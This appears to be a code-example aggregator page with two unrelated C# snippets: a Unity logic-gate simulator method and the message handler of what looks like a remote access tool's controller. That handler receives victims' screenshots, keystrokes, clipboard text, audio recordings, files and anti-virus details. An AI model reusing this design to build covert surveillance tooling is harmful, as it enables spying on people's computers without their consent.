Esempio n. 1
0
        //Handles data by switching between byte headers
        public void HandleData(int ConnectionId, byte[] RawData)
        {
            ClientRunningApps CRA;
            string            ASCIIForm = Encoding.ASCII.GetString(RawData);

            byte[] ToProcess = RawData.Skip(1).ToArray();
            //Process type of data
            switch (RawData[0])
            {
            case 0:     //Image Type
                ImageToDisplay = ByteArrayToImage(ToProcess);
                break;

            case 1:     //Notification Type
                if (Encoding.ASCII.GetString(ToProcess).Contains("Error Downloading:"))
                {
                    if (DFF.Visible)
                    {
                        DFF.Close();
                    }
                }
                MessageBox.Show(Encoding.ASCII.GetString(ToProcess), "Notification", MessageBoxButtons.OK,
                                MessageBoxIcon.Information);
                break;

            case 2:     //Client Tag Type
                AddClientTag(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 3:     //Process Type
                UpdateRunningAppsListbox(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 4:     //Information Type
                UpdateComputerInformation(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 5:     //File List Type
                UpdateFiles(ConnectionId, Encoding.ASCII.GetString(ToProcess), "");
                break;

            case 6:     //Current Directory Type
                UpdateCurrentDirectory(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 7:     //Directory Up Type
                UpdateCurrentDirectory(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                if (FE.Visible && FE.Text == "File Explorer - " + ConnectionId)
                {
                    MainServer.Send(ConnectionId,
                                    Encoding.ASCII.GetBytes("GetDF{" + FE.txtCurrentDirectory.Text + "}"));
                }
                break;

            case 8:     //File Type
                if (FE.Visible && FE.ConnectionID == ConnectionId)
                {
                    File.WriteAllBytes(TempDataHelper.DownloadLocation, ToProcess);
                    Process.Start("explorer.exe", Environment.CurrentDirectory + @"\Downloaded Files\");
                    TempDataHelper.DownloadLocation = "";
                    TempDataHelper.CanDownload      = true;
                    if (DFF.Visible)
                    {
                        DFF.Close();
                    }
                }

                break;

            case 9:     //Clipboard Text Type
                UpdateClipboardTextViewer(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 10:     //Hardware Usage Type
                UpdateHardwareUsage(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 11:     //Keystroke Type
                UpdateKeylogger(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 12:     //Current Window Type
                UpdateCurrentWindow(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 13:     //Audio Recording Type
                UpdateAudioRecording(ConnectionId, ToProcess);
                break;

            case 14:     //Anti-Virus Tag
                AddAntiVirus(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 15:     //Windows Version Tag
                AddOperatingSystem(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;

            case 16:     //Message Type
                AddMessage(ConnectionId, Encoding.ASCII.GetString(ToProcess));
                break;
            }
        }
Esempio n. 2
0
    public void AddPhysicalGate(CircuitDevice circuitDevice)
    {
        Primitive newSimGate;

        switch (circuitDevice.logicType)
        {
        case Utils.LogicType.NOT:
            newSimGate = new Not("replaceMe");
            break;

        case Utils.LogicType.NAND:
            newSimGate = new Nand("replaceMe");
            break;

        case Utils.LogicType.AND:
            newSimGate = new And("replaceMe");
            break;

        case Utils.LogicType.OR:
            newSimGate = new Or("replaceMe");
            break;

        case Utils.LogicType.NOR:
            newSimGate = new Nor("replaceMe");
            break;

        case Utils.LogicType.XOR:
            newSimGate = new Xor("replaceMe");
            break;

        case Utils.LogicType.XNOR:
            newSimGate = new Xnor("replaceMe");
            break;

        case Utils.LogicType.Lever:
            newSimGate = new Lever("replaceMe");
            (circuitDevice as LeverDevice).leverGate = newSimGate as Lever;
            break;

        case Utils.LogicType.Indicator:
            newSimGate = new Indicator("replaceMe");
            break;

        case Utils.LogicType.Clock:
            newSimGate = new Clock("replaceMe");
            break;

        case Utils.LogicType.ShiftRegister4:
            newSimGate = new ShiftRegister("replaceMe", 4);
            break;

        case Utils.LogicType.ShiftRegister8:
            newSimGate = new ShiftRegister("replaceMe", 8);
            break;

        case Utils.LogicType.DFF:
            newSimGate = new DFF("replaceMe");
            break;

        case Utils.LogicType.FA1:
            newSimGate = new Adder("replaceMe", 1);
            break;

        default:
            Debug.LogError("Unknown circuit device type, object name: " + circuitDevice.gameObject.name);
            return;
        }

        newSimGate.position          = circuitDevice.transform.localPosition;
        circuitDevice.associatedGuid = newSimGate.guid;

        circuitSimObject.Add(newSimGate);

        physicalDevices.Add(newSimGate.guid, circuitDevice);
    }